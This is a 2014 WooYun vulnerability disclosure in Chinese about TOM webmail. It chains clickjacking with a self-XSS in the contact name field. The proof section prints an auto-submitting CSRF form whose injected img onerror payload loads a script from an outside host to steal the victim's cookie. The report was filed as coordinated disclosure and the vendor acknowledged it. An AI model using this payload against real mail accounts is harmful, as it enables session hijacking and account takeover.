当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
尝试用一种新的姿势xTom邮箱(clickhijack)
相关厂商:
漏洞作者:
提交时间:
2014-02-25 11:45
修复时间:
2014-04-11 11:46
公开时间:
2014-04-11 11:46
漏洞类型:
xss跨站脚本攻击
危害等级:
自评Rank:
15
漏洞状态:
厂商已经确认
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2014-02-25: 细节已通知厂商并且等待厂商处理中
2014-02-27: 厂商已经确认,细节仅向厂商公开
2014-03-09: 细节向核心白帽子及相关领域专家公开
2014-03-19: 细节向普通白帽子公开
2014-03-29: 细节向实习白帽子公开
2014-04-11: 细节向公众公开

简要描述:

其他很多姿势大家都提交过了,本篇用两个看起来不起眼的小洞来搞一发xss。
想象力什么的很重要的

详细说明:

在邮件正文处由于支持<form>和<input>,所以可以利用之来构造点击劫持
在写信出,联系人未过滤,有一个自己xss自己

t0.png


填好邮件,抓包改包

t3.png


构造一个和快速回复一样的框框(我就不画了,意会)

t4.png


当用户点击你画出来的那个框框的回复时,你的常用联系人里多了这个

t6.png


当你再次点击写信时候,触发xss

漏洞证明:

show u the cookie

t8.png


那个脚本里面是这个

<form action="http://web.mail.tom.com/webmail/contact/contactmanage.action" method="post" id="tom_form">
<input type="text" value="<img src=1 onerror=document.body.appendChild(document.createElement('script')).src='http://ylaxfcy.500yun.com/xxxxssxxx.js'>" name="contactName"/>
<input type="text" value="test@qq.com" name="contactEmail" />
<input type="text" value="addcontact" name="type" />
<input type="text" value="1" name="contactBirth_m" />
<input type="text" value="1" name="contactBirth_d" />
<input type="submit" />
</form>
<script type="text/javascript">
var tom_form = document.getElementById('tom_form');
tom_form.submit();
</script>


修复方案:

大洞小洞一起补,有时候自己xss自己也是有用的哦~

版权声明:转载请注明来源 ylaxfcy@乌云


>

漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2014-02-27 16:36

厂商回复:

非常感谢您对TOM在线的帮助,我们会尽快做出处理。我们为支持TOM在线的发布者创建了一个技术交流QQ群:,希望您以及更多的成员加入,大家共同交流。

最新状态:

暂无